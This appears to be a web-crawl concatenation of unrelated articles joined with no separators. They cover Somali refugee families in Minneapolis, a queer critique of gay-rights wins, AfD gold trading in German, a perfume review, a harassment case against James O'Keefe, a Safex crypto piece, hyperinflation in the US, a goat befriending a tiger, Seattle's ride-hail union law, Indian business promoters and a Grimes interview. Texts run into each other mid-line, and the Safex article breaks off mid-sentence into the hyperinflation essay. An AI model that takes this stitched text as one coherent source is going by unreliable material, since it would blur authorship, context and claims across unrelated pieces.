Mary Jo Copeland, the founder of Mary’s Place, says as many as 60 of the shelter’s roughly 90 units are occupied by Somali families, generally recent arrivals from Africa by way of another state. Copeland, who hired two Somali-speaking advocates to help the families with job- and apartment-hunting and more, says these residents have impressed her: They take English classes, keep their apartments immaculate and save up everything they earn working at day cares, groceries and cab companies.
“You name the state, they are from all over,” she said. “As soon as they move out, others move in.”
The number of Somali adults and children who participated in the state’s family cash assistance program jumped 34 percent from 2008 to 2013, to 5,950. At the same time, food assistance participation increased 98 percent, to 17,300 adults and children, which does not include U.S.-born Somalis. Census numbers place the Minnesota Somali community at more than 33,000, a count Somali leaders say underestimates its size by tens of thousands.
Mubashir Ali, 8, wrote a thank-you letter in Stephany Jallo’s class at Andersen United Community School in Minneapolis. The district launched the NABAD program last year to help new arrivals.
The Minneapolis School District responded to a major uptick in new Somali students by launching the NABAD program, an acronym that’s also a greeting in Somali. The district is almost 10 percent Somali this fall. The new classrooms — two last year, eight this fall after promising early results — feature an English language learner teacher and a Somali-speaking aide. Students spend a school year there before joining the mainstream.
At Andersen United Community School, teacher Stephany Jallo and her third- through fifth-graders recently went over a picture book called “Nabeel’s New Pants,” about a group of kids who receive clothes as gifts to wear for the Islamic holiday Eid. At each of Jallo’s questions, hands shot up. Other students looked to Hamdi Ahmed, a visiting co-teacher, who translated into Somali.
Jallo says four of her 20 students came with no formal education, but most are making rapid progress: “I have no doubt I have future doctors, lawyers, teachers and scientists in my class.”
Ali and Mohamed’s kids also have academic catching up to do. These days, the parents worry about affording winter coats, an apartment and furniture. But when they see their kids cracking open their homework minutes after getting home — the glass facade of Target Field gleaming beyond the kitchen window — Ali and Mohamed’s faces fill with hope.Source: Everyday Feminism
This past decade, we’ve witnessed quite a few advancements for gay rights in the US: anti-homophobic hate crimes legislation, the repeal of Don’t Ask Don’t Tell, and nationwide marriage equality, to name a few.
Liberal media often paints these stories as victories — in which the “LGBT community” has won some rights and therefore the violence and stigma against our communities has lessened.
These are supposed to be moments in history that we — those of us who are queer and trans and allies — are supposed to be celebrating.
But behind every rainbow flag, there’s a pot of Goldman Sachs (and a conservative agenda).
Rather than victories, several moments in recent history of the gay movement have been huge losses.
The gay rights movement has won rights and recognition that largely serve the interests of white, wealthy cisgender gay men to the detriment of poor queers and queer people of color, and to the detriment of racial and economic justice more generally.
Again, these are victories for the only most enfranchised gay people. Thus, they are mechanisms for perpetuating injustice.
Major LGBT organizations have claimed for a long time that we’ll start with marriage and then get to everything else, that we need visibility to achieve wider rights.
That trickledown logic is both a lie and a distraction.
Incorporating queer people into institutions like marriage and the military does not decrease queerphobic violence. It does nothing to address root causes of poverty and violence: racial, economic, and gender injustice.
Gay, Inc actually relies on violence against poor people and people of color.
In point of fact: Two of the top three drone manufacturers lobbying in DC are also major corporate donors to the Human Rights Campaign, the largest and most visible gay rights organization. The government and big gay nonprofits can claim to be doing progressive work while actually stripping people, especially people of color, of civil rights, and failing to provide basic needs like affordable housing and healthcare.
“Equality” is not liberation.
So let’s examine a few of these recent gay victories, and how they fail to advance community-wide liberation. We’ll look at the particular institutions those victories are buying into and how each actually contributes to increases in violence and discrimination. These are not progressive policies; they are actively violent.
1. Hate Crimes Legislation
The Matthew Shephard Act, passed in 2009 by President Obama, expanded hate crimes law to protect survivors of homophobic and transphobic violence. It was tacked onto the national military budget bill that year.
In other words, defense spending was increased, and we got a gay hate crimes legislation bill.
The equation is simple: United States legislation = increases in gay rights + increases in militarism.
The Matthew Shephard Act is harmful for two major reasons: First, it uses the name and experience of a white cisgender man to exemplify queerphobic hate violence, whereas 89% of folks killed in LGBT hate violence are people of color, and three-in-four are transgender women.
The brunt of this violence, then, is not directed at white cis men, but at folks who are further marginalized within the LGBT community.
Shifting attention to “gay” as a singular identity, rather than the multiple oppressions that most survivors of hate violence carry distracts from the intersectionalities of race, gender, and sexual oppression.
Campaigns that center white men as the main targets of anti-LGBT violence are missing the point. More than that, they’re wrong.
Second, the Shephard Act puts more folks in prison.
The prison system is not a place where justice happens; it’s the opposite.
The prison system is how the United States continues to dispose of poor people and people of color. 41% of Black and Latina trans women report being incarcerated, more than 13 times the national average. Queer and trans people are also far more likely to be raped in prisons and detention centers, as well as face violence at the hands of police.
Handing more power to the police and prison systems will not make our communities safer, but actually make them more susceptible to sexual violence and criminalization.
Hate crimes legislation ends up hurting even the people it’s professing to protect.
2. The Repeal of Don’t Ask Don’t Tell
In 2010, the United States Congress repealed the Don’t Ask Don’t Tell (DADT) clause, which had originally taken effect under President Clinton in 1994.
Under DADT, lesbian, gay, and bisexual military personnel were told to remain closeted to continue their service legally. DADT’s repeal meant that those service members were allowed to serve openly.
But the major issue with the US military is not its gay-friendliness.
The US defense machine swallows almost two-thirds of tax dollars (while public services are continuously cut) and disproportionately recruits poor people of color in the US to wage war on poor people of color across the world.
This pattern hasn’t ended with the inclusion of LGB people. Machine guns and drones don’t stop targeting civilians because they happen to be queer.
Further, women of color are, compared to white women, vastly overrepresented in military ranks. A study by the Pentagon estimates sexual assault rates in the armed forces occur at the rate of 70 incidents per day. The repeal of DADT had no impact on the military’s daily assault on racial and gender justice; it just gave out brownie points to an otherwise oppressive institution.
As I mentioned before, national gay rights organizing relies on funding from major drone manufacturers, in addition to oil companies and major banks, all of which profit from higher rates of war.
The Gay Agenda™ doesn’t exist outside of the US war machine, but totally within it.
3. Marriage Equality
It’s no accident that the repeal of the Defense of Marriage Act (DOMA) came just a day after the repeal of the Voting Rights Act (VRA). The latter was passed in 1965 to outlaw racial discrimination in voting and repealed in 2013 along with DOMA.
The Supreme Court made it clear: Gay rights are in, and race still isn’t.
Besides its literal juxtaposition to the curtailing of racial justice, however, marriage equality is a very conservative demand.
Dean Spade and Craig Willsie bring together important histories of marriage in the US in their piece ”Marriage Will Never Set Us Free”’ to help us understand how marriage equality upholds existing power structures, instead of challenging them.
Marriage was originally constructed to transfer property ownership across generations (especially for white people). Maintaining that married families are superior to other formations, like single parent households, has been key to demonizing low-income black people.
President Clinton, for example, made huge cuts in welfare programs in 1996 on the grounds that unmarried parents generate poverty. Marriage has also been a strategy of control and assimilation for indigenous people and people of color both in the US and abroad.
Same-sex marriage is not going to magically change the institution of marriage. It instead allows property ownership and resources ( including 1,138 federal benefits ) to be moved across both gay and straight couples.
An emphasis on marriage over general rights acquisition also narrows our approach to social justice.
As Spade and Willsie point out, while a liberatory approach to healthcare would involve—well—giving healthcare to everyone, a marriage equality approach to health care involves keeping access attached to married couples only. As in, those who already have health insurance are able to share it with partners, but folks who don’t are still out of luck.
The same becomes true for citizenship and immigration status, tax benefits, and so on. People shouldn’t have to be married to access basic rights.
Marriage equality may be a victory for gay rights, but it’s also a victory for the historically oppressive institution of marriage.
***
Including gay people in marriage and the military and using gay rights to strengthen the prison system will not destroy homophobia. These are each institutions that perpetuate and rely on gender and sexual violence.
If your goal is to be in solidarity with queer and trans people, equal signs are not the way to go. Narrow agendas that rely on incorporation and assimilation into those systems create more violence for our communities, not less.
Rather, to support the lives of multiply marginalized LGBTQIA+ folks, we should focus on supporting grassroots anti-violence and anti-criminalization efforts, as well as dismantling (not reforming) prisons, marriage, and the military.
What we should be celebrating (and supporting) doesn’t tend to come in the form of national military or marriage policy. It is everyday resilience, resistance, and struggle.Bernd Lucke, leader of Alternative for Germany (AfD) party speaks during a news conference in the Bundespressekonferenz in Berlin September 15, 2014. Germany's eurosceptic AfD party surged to win more than 10 percent of the vote in two states on Sunday in a growing challenge to Chancellor Angela Merkel as her new right-wing rival makes further inroads into her power base. REUTERS/Fabrizio Bensch (GERMANY - Tags: HEADSHOT POLITICS ELECTIONS TPX IMAGES OF THE DAY)
Berlin (Reuters) - Die eurokritische Partei Alternative für Deutschland (AfD) hat sich mit dem Einstieg in den Goldhandel staatliche Zuschüsse in Höhe von etwa zwei Millionen Euro gesichert.
Nach einer monatelangen Prüfung teilte die Bundestagsverwaltung am Freitag mit, dass die Erlöse aus dem Goldhandel als Einnahmen im Sinne des Parteiengesetzes angerechnet würden. Sie erhöhen damit die Obergrenze, bis zu der die AfD staatliche Mittel erhält. Die AfD hat bisher durch den Verkauf von Goldmünzen und -barren nach Angaben eines Sprechers einen Bruttoumsatz von 2,1 Millionen Euro erzielt. “Das war unser Ziel, das haben wir erreicht”, sagte der Sprecher zu Reuters. Die AfD hatte im August festgestellt, dass sie etwa zwei Millionen Euro an Zuschüssen nicht bekommen würde, wenn sie ihre Einnahmen nicht erhöht.
LAMMERT: GOLDHANDEL ENTSPRICHT NICHT DER GRUNDIDEE
Bundestagspräsident Norbert Lammert (CDU) schlug eine Gesetzesänderung vor, damit die Einnahmen aus dem Goldhandel künftig nicht mehr angerechnet werden können. Dass die Handelsgeschäfte der AfD die staatlichen Zuschüsse erhöhten, widerspreche dem Grundgedanken, dass Parteien sich zu einem Anteil von mindestens 50 Prozent selbst finanzieren müssten, erklärte Lammert. Dadurch solle sich die hinreichende gesellschaftliche Verwurzelung staatlich geförderter Parteien abbilden. Durch den Handel mit Gold werde dies aber nicht dokumentiert.
Die Zuschüsse aus der staatlichen Parteienfinanzierung orientieren sich grundsätzlich an der Anzahl der Wählerstimmen wie auch der Höhe von Mitgliedsbeiträgen und Spenden. Sie dürfen aber nicht höher sein als die selbsterwirtschafteten Einnahmen der Partei. Im August waren die Pläne der AfD bekanntgeworden, zur Erhöhung der eigenen Einnahmen in den Goldhandel einzusteigen.[ID:nL6N0QK4L6] Mittlerweile betreibt sie im Internet einen “Goldshop”.
Insgesamt rechnet die AfD für dieses Jahr nach Angaben eines Sprechers mit etwa fünf Millionen Euro aus der staatlichen Parteienfinanzierung. Am Goldhandel will sie festhalten. Ein Pressesprecher wies zudem die Kritik Lammerts zurück. Mehr als 1000 Kunden hätten über die AfD Gold gekauft, sagte der Sprecher: “Ein solcher Vertrauensbeweis ist das beste Beispiel für eine gesellschaftliche Verwurzelung.” Lammert müsse sich “fragen, ob eine Millionenspende von einem Unternehmen einen höheren Grad an Verwurzelung in der Gesellschaft darstelle”.I discovered this company through indiemakeupandmore on reddit, and when I saw that they had a dupe for Lush’s Ro’s Argan/Rose Jam, well, I was sold!
I ordered a 4-pack sampler ($12 with free shipping) consisting of Sweet Petals, Seashore, Amande Coco, and Nectarine Blossom and Honey.
Sweet Petals (Lush Ro’s Argan/Rose Jam dupe): Fresh citrus and velvety red rose petals. Hints of sweet strawberry blended with musky and creamy vanilla undertones.
This smells very similar to Ro’s Argan! At first, it had a sort of chemical-ly edge – it still smelled good, but reminded me of sunscreen. After a couple minutes, though, it softened into this lovely fragrance. I would tell you the different notes in the perfume if I could identify them… but I can’t, hah. To me, it simply smells like powdery sweet roses.
Seashore (Bobbi Brown Beach dupe): This scent captures the atmosphere and attitude of summer with a combination of sand jasmine, sea spray and mandarin.
I’ve never actually smelled Beach, so I can’t comment on whether or not this is actually a dupe. I get sunscreen, tanning oil, and jasmine. It’s not a bad smell, and it’s definitely growing on me, but it doesn’t exactly scream “perfume.” I can’t see myself wearing this too often, but I’ll probably still dip into it to switch things up every once in awhile.
Amande Coco (Laura Mercier Almond Coconut dupe): a blend of almond, coconut milk, white jasmine, rosewood, ylang ylang, vanilla bean, tonka, heliotrope and musk. Compare to Almond Coconut by Laura Mercier.
At first sniff, this smells like maraschino cherries, almond extract, and amaretto. After a couple of minutes, it smells more like a musky vanilla with hints of coconut/some kind of nut I can’t identify. It reminds me of the Warm Vanilla Sugar scent from Bath & Body Works, but it smells more… musky? Either way, it’s super yummy!
Nectarine Blossom and Honey (Jo Malone Nectarine Blossom and Honey dupe): Succulent nectarine, peach and cassis and delicate spring flowers melt into the note of acacia honey. Sweet and delightfully playful. Compare to the Jo Malone scent.
My favorite of the bunch! I smell juicy apples, a touch of something sweet, and a slight floweriness. This is a very wearable fragrance and my new everyday one for spring! It smells so freaking good… I can’t stop sniffing my wrists. Again, like the previous two, I’ve never actually smelled the real deal, so I can’t comment on similarity. Sorry!
Shipping was fast – I received the products after about 5 days. Overall, I would definitely recommend Somethin’ Special and their fragrances! ☺ You can check them out here.
AdvertisementsThe Record reporter Chris Harris appeared on Countdown with Keith Olbermann on Thursday night to discuss the possible civil sexual harassment lawsuit against conservative filmmaker James O’Keefe.
Conservative blogger Nadia Naffe accused O’Keefe of sending her harassing messages after she backed out of an upcoming hidden camera sting on the “Occupy Wall Street” protest in New York City. Judge Alan Karch dismissed the criminal complaint against O’Keefe because there was insufficient evidence showing the harassment originated in Westwood, where O’Keefe lives with his parents.
“Ultimately, he couldn’t prove that all of it stemmed or originated from his jurisdiction,” Harris explained. “So therefore the charges wouldn’t stick in his court.”
But the judge informed her that she could pursue a civil complaint.
Naffe also vaguely suggested that O’Keefe drugged her, and that she passed out while O’Keefe and a friend were taking her to the train station. When she awoke, she allegedly found underwear and a wireless mouse had been stolen from her luggage, according to Harris’ report about the hearing.
Watch video, courtesy of Current TV, below:Safex Dividend Calculator — Why, What and How?
Ivana Tudor Blocked Unblock Follow Following Sep 24, 2017
The Safex software is introducing crypto currencies to eCommerce using a blockchain as the basis of securing transactions and crypto currency wealth. The rationale is that traditional websites expose people and the security of their digital holdings. On the contrary, Safex is bringing eCommerce marketplace free from obstructions.
One of the main value propositions of the Safex platform are the Safex coins and the dividend yields that stem from the usage of the marketplace that it constructs. In this article I will go into the variables of the Safex Dividend Calculator and explain a scenario that projects the outcome of holding
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. Carmen M. Reinhart, Deputy Director, and Miguel A. Savastano, Advisor, IMF Research Department in June 2003 published “The Realities of Modern Hyperinflation” to make the case that, despite falling inflation rates worldwide, hyperinflation could happen again:The article goes on to list “the seven lessons that emerge from this overview of modern hyperinflations” that “policymakers would do well to bear in mind.” We list them below with comments relating them to the US case, noting that while the IMF is not issuing disinterested advice, there is still value in the analysis.Note: The Great Inflation of the late 1970s and the inflationary energy cost-push inflation 2004 to 2008 are unlikely to produce rising inflation expectations, especially when the mainstream financial press beats the deflation drum. Of the seven lessons of hyperinflations, this one applies the least to the US case.Note: The question of monetary anchor in a dollar hyperinflation is interesting because the dollar has itself has for decades acted as a monetary anchor for nations experiencing hyperinflation. Recall a brief period when the dollar declined to 40% against the euro and street vendors in Vietnam, for example, stopped accepting dollars. If the dollar is a monetary anchor, then what is the dollar’s monetary anchor? It is nothing more than the faith that the US government will take the necessary steps to halt inflation should it arise, as in the early 1980s when fiscal austerity put the US economy into two wrenching recessions that brought inflation down from double digits to zero.Note: The previous example of the early 1980s US case notwithstanding, coming from the IMF this advice is directed at countries that are clients of the IMF, such as South Korea during the 1997-1998 currency crisis, not the IMF’s primary patron, the USA itself. It is important to remember that the US economy was growing and the US was a net creditor at the time the US government undertook austerity programs in the early 1980s. Today the US starting position is closer to that of nations that do experience hyperinflation, large external debts and falling output. Under the same circumstances that call for austerity and constrained fiscal spending in South Korea, we expect the US will continue to take the opposite approach and further increase fiscal deficits, despite the risks. Of the seven lessons of hyperinflation, this is the one that we most need to keep an eye on in the US case.Note: Again, this advice is directed at IMF clients not the US. Our contacts tell us that South Korea, Malaysia, Indonesia, and other Asian nations that have built substantial currency reserves since the 1997 to 1998 crisis do not intend to follow the IMF plan and allow their currencies and economies to be wrecked, again. They are aware that their reserves make them targets for speculators. To our knowledge, all of them plan to immediately impose capital controls to thwart any future attack on their currencies.The US will, of course, do likewise should it be threatened with the risk of capital flight. This will help contain the cycle of currency depreciation and cost-push inflation that feeds a hyperinflation. Jim Sinclair rests his hyperinflation case on cost-push inflation from a collapsing dollar resulting from capital fight. We don’t see it; the US will shut it down. Open exchange markets and currency convertibility only apply to IMF clients during crisis, not to the US. In any case, the IMF’s Asian clients learned their lesson, although their newer clients in eastern Europe apparently didn’t learn Asian crisis lesson.Note: There can be little doubt that US economic output and government receipts are shrinking rapidly while government outlays are rising. Only time will tell how the decline in output figures into a possible hyperinflation future.Note: In other words, when money ceases to function as a store of value, people stop using it. They resort to cash transactions and barter -- John Williams recommends whiskey. During the Russian hyperinflation in the early 1990s vodka was the primary item of barter, so his suggestion is not off-the-wall if in fact a US inflation developed to hyperinflation levels.Note: Once a hyperinflation has wiped out everyone’s savings, the disaster is not soon forgotten. The currency of the country where the hyperinflation happened is branded a risk, as is every asset that is denominated in it.Before we go further, let’s be clear about what a hyperinflation really means in practical, every day terms.On the international scene, for any country that uses the dollar as a nominal anchor to stabilize its own currency, a dollar hyperinflation means certain hyperinflation for them, too. Countries will de-peg from the dollar before that happens; likewise countries that use the dollar for international trade will drop the dollar.We all remember what happened in countries that use the dollar for oil trade as the dollar fell 40% between 2002 and 2008: inflation surged in the Middle East, food prices soared, and food riots broke out in some countries. Cost-push inflation in the US worked its way from energy prices into food and other goods until the crash mid-2008. In a hyperinflation, that cost-push inflation process becomes extreme; as the dollar weakens, oil prices rise, and countries using the dollar for trade settlement are forced to drop it and use an alternative currency or their own, as Russia did. The process of de-pegging from the dollar and dropping the dollar for trade will reduce global demand for dollars and weaken the dollar further, leading to more inflation for countries that continue to use the dollar for trade. In Part Two, we talk about this process in our description of ten hyperinflation processes that are common to all hyperinflation episodes and a few that are unique to the US dollar as a reserve currency.Maybe we simply lack imagination, but we have had a hard time accepting the above dire scenario for the US. If it happens we're all going to need more than a few bottles of whiskey to get through it. It means the end of the US as we know it, both the society and the nation's international standing.Partly our optimism is due to the fact that only a few of the IMF’s hyperinflation preconditions are present for the US, and because the US political system, for all of its flaws, is more likely to lead to policy interventions before a period of high inflation develops into a true hyperinflation spiral; as in 1980, the US government can move to restore the nominal anchor for the dollar: sound fiscal and monetary management.On the other hand, our current bind is unique. Federal and state governments have depended heavily on capital gains taxes from asset price inflation in the FIRE Economy since the early 1980s, and selling ever increasing amounts of debt to private and public investors at home and abroad. In the wake of the collapse of the FIRE Economy since mid 2007, as asset prices and incomes fall, Federal receipts are declining along with economic output and GDP, while federal outlays are exploding due to fiscal stimulus programs. By our calculations, if GDP falls only 4% this year while receipts fall 8% -- last year they were supported by a surge in foreign borrowing that grew 6% per quarter -- and outlays increase only by the $790 billion already committed, the fiscal deficit/Real GDP ratio rises well above 5% this year and 10% next. Those are third world fiscal deficit/GDP levels. To prevent thisWe can be certain that US politicians are watching as governments around the world fall along with the collapse of national economies:Latvia and Iceland the leading edge of a series of government resignations. Can the UK and Japanese governments be far behind?While the deflation spiral case can be dismissed as irrelevant in our post gold standard world (see The truth about deflation ), we cannot accept as an article of faith that the American political system will necessarily allow the US government to "do the right thing" to avoid taking the current inflation path to its logical conclusion. Political pressure to try to preserve the system in the short term at the expense of the long run is too great.We do not conclude our review of the hyperinflation scenario based on the IMF’s narrow survey and self-serving conclusions. With nose held and peeking between two fingers of our hands plastered to our faces in horror at the implications, we take a serious look at the hyperinflation case. We studied dozens of high inflations and hyperinflations, ancient and modern, and have come to our own conclusions that we believe are more broadly applicable, even to the US case, and more politically independent than the IMF’s.The most relevant and worrisome factor is that the US is heading into an economic depression in a marginalized fiscal position, and with heavy external debts – even if they are denominated in dollars -- as well as large gross public debt, and heavy household and corporate debt burdens, as output and GDP declines. The combined negative infuence of these pre-conditions may outweigh the unique advantages that the US has over countries that have suffered hyperinflation: the status of the dollar as a reserve currency and the interests of US trade partners to cooperate with the US and each other to avoid taking losses in the purchasing power of the dollar-denominated assets they hold. To answer how these conflicting factors may work out over time we break down the macro-process of hyperinflation into its various interacting sub-processes and build our case bottom-up.Moderate inflation need not develop into a high inflation and then into a hyperinflation. At any point, any government can take steps to end an inflation; the question is, at what political cost? Depending on how far the inflation process has developed, and how much political trouble the government is in, ending inflation can be accomplished by a combination of two steps: one, pegging the currency to a nominal anchor, such as another more stable currency or to a fixed asset, such as land or gold, and, two, addressing the primary cause of all hyperinflations: fiscal mismanagement. In addition to the currency losing its nominal moorings and loss of fiscal discipline, the third root cause of hyperinflation is foreign debt, but this may be wiped out by the inflation itself even before hyperinflation sets in. more... ($ubscription) See also:__________________________________________________He was supposed to be a meal, but a feisty goat became a pal of his predator instead.
Earlier this week, Timur the goat was sent into the enclosure of a Siberian tiger -- also known as an Amur tiger -- living in Russia’s Primorsky Safari Park.
Dmitry Mezentsev, the park’s director, told RIA Novosti that Timur was meant to be food for the hungry predator. “Year-round, we feed the tigers live prey twice a week,” he told the news outlet, adding that the Amur tiger had killed many goats, including large goats, in the past.
But this week, when Timur trotted into the tiger's enclosure, something unexpected happened.
“The goat was very brave. He flashed his horns or retaliated every time the Amur attacked,” Mezentsev told RIA. “The wary tiger was confused by this, and he decided not to mess with the goat.”
In footage of the extraordinary encounter, Timur is seen chasing the big cat around the enclosure. In a blog post, the park explained that Timur had shooed the tiger away from his usual sleeping spot, and the plucky goat had been sleeping there ever since. The Amur tiger, on the other hand, has been relegated to sleeping on the shelter's roof.
Remarkably, despite the initial confrontation between the two animals, the park says there seems to be no animosity between them.
Instead, the tiger and goat appear to have developed a close friendship.
“Timur follows the Amur everywhere, and the tiger quietly tolerates it." Mezentsev told RIA. "The goat even worries when the tiger disappears from sight, and will start looking for him.”
As NBC News notes, Timur the goat is named after a courageous boy from a popular children’s book from the Soviet era.
“It’s a worthy name for such a fearless animal,” the park told NBC.
Also on HuffPost:Seattle’s first-in-the-nation law letting Uber and Lyft drivers unionize is on hold after a federal judge issued a temporary injunction, in response to a lawsuit filed by the U.S. Chamber of Commerce.
A federal judge in Seattle has temporarily blocked the city’s first-in-the-nation law that attempts to allow Uber, Lyft and taxi drivers to unionize.
Seattle’s law, passed in 2015, allows Uber, Lyft and taxi drivers — who are categorized as independent contractors, not employees — to form a union and collectively bargain for things like pay, benefits and working conditions.
It was challenged by two separate lawsuits, one from the U.S. Chamber of Commerce and one from about a dozen Uber and Lyft drivers — backed by the National Right to Work Legal Defense Foundation and the Freedom Foundation, groups that fight for right-to-work laws and other conservative, anti-union legislation across the country.
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“The issues raised in this litigation are novel, they are complex, and they reside at the intersection of national policies that have been decades in the making,” U.S. District Judge Robert Lasnik wrote in granting a preliminary injunction Tuesday, halting the law from going into effect. “The public will be well-served by maintaining the status quo while the issues are given careful judicial consideration.”
Lasnik repeatedly stressed in his order that the hold should not be viewed as foretelling an ultimate court victory for the Chamber.
Kimberly Mills, a spokeswoman for the Seattle City Attorney, said the city will continue working to defeat the legal challenges to the law.
Adrian Durbin, a Lyft spokesman, called the city’s law “experimental” and “poorly drafted” and said they were pleased that it was on hold.
While the court battle plays out, both sides had been moving forward, anticipating a possible eventual vote by drivers about whether they want to unionize or not.
Teamsters Local 117 recently applied and got permission from the city to begin efforts to organize drivers at 12 local ride-hailing or taxi companies.
The taxi and ride-hailing companies would have had to give Local 117 a list of their drivers this week, with contact information. Now they will not, while the lawsuits proceed.
“We have no benefits,” said Don Creery, an Uber driver and longtime supporter of the unionization effort. “I work full-time for a $70 billion company. The American taxpayers should not have to subsidize my health care. That’s not right.”
Gary Kunze, one of the Uber and Lyft drivers who sued to block the law, said that while he had complaints with the companies, a union was not the way to address them.
“I am not a union person, I don’t believe in what they stand for,” Kunze said. “The city of Seattle and the Teamsters got together and decided to do this at the request of a very small number of drivers.”
And Uber and Lyft, not content to pin their hopes on the courtroom, are waging aggressive campaigns to persuade their drivers to vote against the union.
The Chamber argues that federal law, the National Labor Relations Act (NLRA), does not give contractors the right to unionize and that it cannot be pre-empted by Seattle’s law.
The Chamber’s lawsuit says that drivers are competitors, not co-workers, and that allowing them to unionize is anti-competitive and amounts to “forming a cartel.”
Seattle argues that although contractors are not covered by federal unionization laws, the federal government left state and local governments free to regulate a union of independent contractors.
The NLRA explicitly excludes five categories of workers from its coverage and protections: public-sector workers, agriculture workers, domestic workers, supervisors and independent contractors.
The first three are allowed to unionize under various state laws.
City attorneys argued in court last week that independent contractors — Uber, Lyft and taxi drivers in this circumstance — are more like workers than they are supervisors and that the city has the authority to let them unionize, even if they’re not covered by the NLRA.
Lasnik, speaking from the bench during those arguments, appeared sympathetic.
“Isn’t an independent contractor more like an agricultural worker and domestic worker than a supervisor?” he asked. “They’re clearly not management.”
In his written order, Lasnik said the Chamber’s argument relies on a “coincidence of timing” related to the history of the NLRA, and that the city was likely to prevail in that specific argument.
But Lasnik was more open to the Chamber’s argument that allowing drivers — independent contractors — to unionize could violate antitrust laws. While state law authorizes anti-competitive city regulation of taxi and ride sharing businesses — that’s why there’s a uniform rate for cab rides — it has never been used to let drivers collectively bargain.
The novelty of the city’s law, Lasnik wrote, “the lack of any evaluation of competitive effect and the potential impact on an important transportation option for thousands of Seattle residents and visitors cannot be ignored.”
Uber and Lyft’s business models, Lasnik wrote, would “likely be disrupted in fundamental and irreparable ways if the ordinance is implemented.”
The City Council unanimously passed the law in 2015, although it went into effect without the signature of Mayor Ed Murray, who said he supported its goals but had worries about the costs of defending it in court.FOR businessmen scrambling to raise money in a bid to stave off bankruptcy, conference rooms can feel like little more than gilded prison cells. Few will feel this more acutely than Subrata Roy, the boss of Sahara, an Indian conglomerate: over the past 23 months he has worked out of a conference suite in a suburban Delhi jail. Held on charges of contempt of court relating to the sale of dodgy small-deposit plans to the masses—which the Supreme Court has ordered to be repaid, and whose proceeds he invested in property and other trophy assets—he has struggled to raise 100 billion rupees ($1.5 billion) in bail despite claiming his business is worth several times that.
The ignominy of having to sell assets—Sahara is reportedly trying to flog the Grosvenor House hotel in London, four aircraft and a stake in a Formula One team, among other things—was once unthinkable for a “promoter”, the Indian term for founders and majority owners of businesses. A class unto themselves, the most flamboyant feature on the same glossy pages as Bollywood stars and cricketers in the national team (which Sahara once sponsored). Not all promoters are rogues, but the term is often used somewhat as “oligarch” is in Russia. Though life can hardly be described as tough for these plutocrats, they no longer enjoy impunity.
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Many thrived in industries where political connections mattered. They have found the new climate parching. At the top levels of Narendra Modi’s government, in power since May 2014, there are no longer the chummy relations that helped promoters secure precious permits, concessions and tax breaks. “Planes from Mumbai to Delhi used to be full of these guys heading to see ministers, you don’t see that any more,” says an investment banker.
Political connections also meant access to credit. India’s public-sector banks, which make up 70% of the banking system, have made enough dud loans in recent years to prompt some to worry about financial stability. Most of the soured loans were made by state-bank officials to crony-infested industries such as infrastructure, metals and mining.
In most countries, the banks would clear up the mess by seizing a defaulting company’s assets. India’s overburdened legal system and antiquated business legislation make that impractical. Promoters can credibly threaten to scupper a company before the creditors can get their hands on it, perhaps a decade down the line. With no fear of loans being foreclosed, the bigwigs have been able to flaunt their wealth even as their creditors fume.
Worse, bureaucrat-bankers keen to avoid embarrassment have kept throwing good money after bad to avoid fessing up to earlier mistakes. However, all this looks likely to end. Raghuram Rajan, India’s central-bank chief since 2013, is on a mission to clear the banks of their non-performing loans: at the very least, the flow of money to some promoters will be stemmed. A bankruptcy law is snaking its way through the legislature, which would make it easier to remove over-indebted promoters from their businesses.
Mr Rajan has spoken out against “connected wrongdoers” abusing the system. Throwing subtlety to the wind, he recently railed against promoters who “flaunt [their] birthday bashes even while owing the system a lot of money,” as guests were still recovering from the lavish 60th birthday bash thrown by Vijay Mallya, a drinks baron behind the Kingfisher brand (and a partner of Sahara’s in the Formula One team). Lenders to his group have been warning since 2012 that they are facing multi-billion dollar losses.
In part thanks to the new regime, cracks are starting to appear in the promoters’ finances. Ever more are having to put up their personal assets (not just their shares in the companies they control, but also houses and the like) as collateral to raise fresh financing. Such pledges reached a seven-year high in 2015: 46% of promoters’ equity is tied up in this way, estimates Prime Database, a data provider, up from 27% in 2009.
Whether Mr Roy gets to leave his prison conference room soon is in doubt. The reported value of the assets Sahara is flogging is well below the amount he needs to post bail, and they seem to be heavily borrowed-against anyway. The Indian securities regulator has rejected Sahara’s claim that it has made whole the vast majority of its small-scale creditors; it is after 400 billion rupees. On February 1st Mr Roy brought out a book detailing his life philosophy as seen from prison. A further two tomes are planned, suggesting he may have doubts over his judicial prospects.After three years of intense highs and lows, the quixotic auteur explains why she’s coming back down to earth with her most personal album to date
We partnered with Genius to create this annotated version of our Grimes autumn/winter 2015 cover story. Click the yellow highlights for new insights from Grimes and her collaborators
The last time Grimes saw me, I was dressed as a chicken gimp. I’d responded to her Twitter call-out for fans to dance at her upcoming shows, and at London’s 2012 Field Day festival I downed a vodka, shoved on a fluffy white dress and PVC mask and bounded on stage as the space-gun synths of Claire Boucher’s bedroom pop project blasted out to 7,000 Londoners and hit them in the heart. To witness her metamorphosis was incredible: she’d arrived a couple of hours before, bundled up in her parka with sunglasses on, having had no sleep and in desperate need of coffee, and now she was like a pop idol from another dimension with the magnetism of Morgan le Fay. Flinging off her cap, Boucher seemed to have gained a new life-force from the screams, lights and smoke as she drenched her burnt-orange hair with water, offering another bottle to me. She smacked her hand down on the sampler to drop the beat, and grinned like an eccentric engineer having a eureka moment. Three years later, I’ve ditched the clucky costume and am reunited with Boucher in New York. Walking down Fifth Avenue towards the Guggenheim Museum, she wears a once-bright, now-faded loose vest depicting the comic book superhero Ms Marvel, and a plaid shirt that she’ll later pull off to use as a makeshift blanket. To glance at her, perhaps the only clue that the 27-year-old isn’t still a punk playing basement shows in Montreal is an Alexander Wang sneaker bag slung over her shoulder, an item created from classics reworked for a new purpose. In hindsight, it may not have been the best idea to visit one of New York’s top tourist destinations on a Sunday in summer, but it’s easy to forget that the low-key Boucher is kind-of famous. The queue snakes out the door at the museum, and she starts getting asked for selfies before we can even get inside. “I can’t believe you’re here!” gasps a blonde teenager from Europe, pulling out her iPhone as the DIY pop powerhouse pulls a nervy ‘Where do you want me?’ grin. Does this happen often? “If you go to certain parts of Brooklyn it can be weird,” says Boucher. “You get recognised but you’re not in danger. There’s not going to be a swarming. I’ve only had swarmings a few times.” She’s looking forward to playing a Dior-sponsored gala at the Guggenheim in November, and quickly darts past a bottleneck of tourists to peer up into the spiralling chasm of the atrium. It is epic in scale, but imperfectly suited to live acoustics. “I see what they were saying about the sound,” she frowns.
